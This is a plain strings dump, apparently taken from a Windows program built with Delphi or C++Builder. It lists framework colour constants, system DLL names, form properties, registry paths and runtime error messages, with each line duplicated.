@.reloc

@.reloc

MsgHandler

MsgHandler

Windows

Windows

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

MSH_SCROLL_LINES_MSG

uxtheme.dll

uxtheme.dll

USER32.DLL

USER32.DLL

MAPI32.DLL

MAPI32.DLL

comctl32.dll

comctl32.dll

DWMAPI.DLL

DWMAPI.DLL

ssShift

ssShift

htKeyword

htKeyword

EInvalidOperation

EInvalidOperation

%s_%d

%s_%d

kernel32.dll

kernel32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

oleaut32.dll

EVariantBadIndexError

EVariantBadIndexError

clWebSnow

clWebSnow

clWebFloralWhite

clWebFloralWhite

clWebLavenderBlush

clWebLavenderBlush

clWebOldLace

clWebOldLace

clWebIvory

clWebIvory

clWebCornSilk

clWebCornSilk

clWebBeige

clWebBeige

clWebAntiqueWhite

clWebAntiqueWhite

clWebWheat

clWebWheat

clWebAliceBlue

clWebAliceBlue

clWebGhostWhite

clWebGhostWhite

clWebLavender

clWebLavender

clWebSeashell

clWebSeashell

clWebLightYellow

clWebLightYellow

clWebPapayaWhip

clWebPapayaWhip

clWebNavajoWhite

clWebNavajoWhite

clWebMoccasin

clWebMoccasin

clWebBurlywood

clWebBurlywood

clWebAzure

clWebAzure

clWebMintcream

clWebMintcream

clWebHoneydew

clWebHoneydew

clWebLinen

clWebLinen

clWebLemonChiffon

clWebLemonChiffon

clWebBlanchedAlmond

clWebBlanchedAlmond

clWebBisque

clWebBisque

clWebPeachPuff

clWebPeachPuff

clWebTan

clWebTan

clWebYellow

clWebYellow

clWebDarkOrange

clWebDarkOrange

clWebRed

clWebRed

clWebDarkRed

clWebDarkRed

clWebMaroon

clWebMaroon

clWebIndianRed

clWebIndianRed

clWebSalmon

clWebSalmon

clWebCoral

clWebCoral

clWebGold

clWebGold

clWebTomato

clWebTomato

clWebCrimson

clWebCrimson

clWebBrown

clWebBrown

clWebChocolate

clWebChocolate

clWebSandyBrown

clWebSandyBrown

clWebLightSalmon

clWebLightSalmon

clWebLightCoral

clWebLightCoral

clWebOrange

clWebOrange

clWebOrangeRed

clWebOrangeRed

clWebFirebrick

clWebFirebrick

clWebSaddleBrown

clWebSaddleBrown

clWebSienna

clWebSienna

clWebPeru

clWebPeru

clWebDarkSalmon

clWebDarkSalmon

clWebRosyBrown

clWebRosyBrown

clWebPaleGoldenrod

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebLightGoldenrodYellow

clWebOlive

clWebOlive

clWebForestGreen

clWebForestGreen

clWebGreenYellow

clWebGreenYellow

clWebChartreuse

clWebChartreuse

clWebLightGreen

clWebLightGreen

clWebAquamarine

clWebAquamarine

clWebSeaGreen

clWebSeaGreen

clWebGoldenRod

clWebGoldenRod

clWebKhaki

clWebKhaki

clWebOliveDrab

clWebOliveDrab

clWebGreen

clWebGreen

clWebYellowGreen

clWebYellowGreen

clWebLawnGreen

clWebLawnGreen

clWebPaleGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumAquamarine

clWebMediumSeaGreen

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkOliveGreen

clWebDarkgreen

clWebDarkgreen

clWebLimeGreen

clWebLimeGreen

clWebLime

clWebLime

clWebSpringGreen

clWebSpringGreen

clWebMediumSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebPaleTurquoise

clWebLightCyan

clWebLightCyan

clWebLightBlue

clWebLightBlue

clWebLightSkyBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebDarkBlue

clWebIndigo

clWebIndigo

clWebMediumTurquoise

clWebMediumTurquoise

clWebTurquoise

clWebTurquoise

clWebCyan

clWebCyan

clWebPowderBlue

clWebPowderBlue

clWebSkyBlue

clWebSkyBlue

clWebRoyalBlue

clWebRoyalBlue

clWebMediumBlue

clWebMediumBlue

clWebMidnightBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebDarkTurquoise

clWebCadetBlue

clWebCadetBlue

clWebDarkCyan

clWebDarkCyan

clWebTeal

clWebTeal

clWebDeepskyBlue

clWebDeepskyBlue

clWebDodgerBlue

clWebDodgerBlue

clWebBlue

clWebBlue

clWebNavy

clWebNavy

clWebDarkViolet

clWebDarkViolet

clWebDarkOrchid

clWebDarkOrchid

clWebMagenta

clWebMagenta

clWebDarkMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebMediumVioletRed

clWebPaleVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebBlueViolet

clWebMediumOrchid

clWebMediumOrchid

clWebMediumPurple

clWebMediumPurple

clWebPurple

clWebPurple

clWebDeepPink

clWebDeepPink

clWebLightPink

clWebLightPink

clWebViolet

clWebViolet

clWebOrchid

clWebOrchid

clWebPlum

clWebPlum

clWebThistle

clWebThistle

clWebHotPink

clWebHotPink

clWebPink

clWebPink

clWebLightSteelBlue

clWebLightSteelBlue

clWebMediumSlateBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebLightSlateGray

clWebWhite

clWebWhite

clWebLightgrey

clWebLightgrey

clWebGray

clWebGray

clWebSteelBlue

clWebSteelBlue

clWebSlateBlue

clWebSlateBlue

clWebSlateGray

clWebSlateGray

clWebWhiteSmoke

clWebWhiteSmoke

clWebSilver

clWebSilver

clWebDimGray

clWebDimGray

clWebMistyRose

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlateBlue

clWebDarkSlategray

clWebDarkSlategray

clWebGainsboro

clWebGainsboro

clWebDarkGray

clWebDarkGray

clWebBlack

clWebBlack

AutoHotkeys

AutoHotkeys

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

EInvalidGraphicOperation

EInvalidGraphicOperation

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

TWMKey

TWMKey

KeyPreview

KeyPreview

WindowState

WindowState

OnKeyDown

OnKeyDown

OnKeyPress

OnKeyPress

OnKeyUp

OnKeyUp

GlassFrame.Bottom

GlassFrame.Bottom

GlassFrame.Enabled

GlassFrame.Enabled

GlassFrame.Left

GlassFrame.Left

GlassFrame.Right

GlassFrame.Right

GlassFrame.SheetOfGlass

GlassFrame.SheetOfGlass

GlassFrame.Top

GlassFrame.Top

Uhr%D

Uhr%D

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

User32.dll

User32.dll

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

HelpKeyword`

HelpKeyword`

crSQLWait

crSQLWait

%s (%s)

%s (%s)

imm32.dll

imm32.dll

xxtype.cpp

xxtype.cpp

derv->tpClass.tpcFlags & CF_HAS_BASES

derv->tpClass.tpcFlags & CF_HAS_BASES

Inappropriate I/O control operation

Inappropriate I/O control operation

Broken pipe

Broken pipe

Operation not permitted

Operation not permitted

%H:%M:%S

%H:%M:%S

%m/%d/%y

%m/%d/%y

%A, %B %d, %Y

%A, %B %d, %Y

%s: %s error

%s: %s error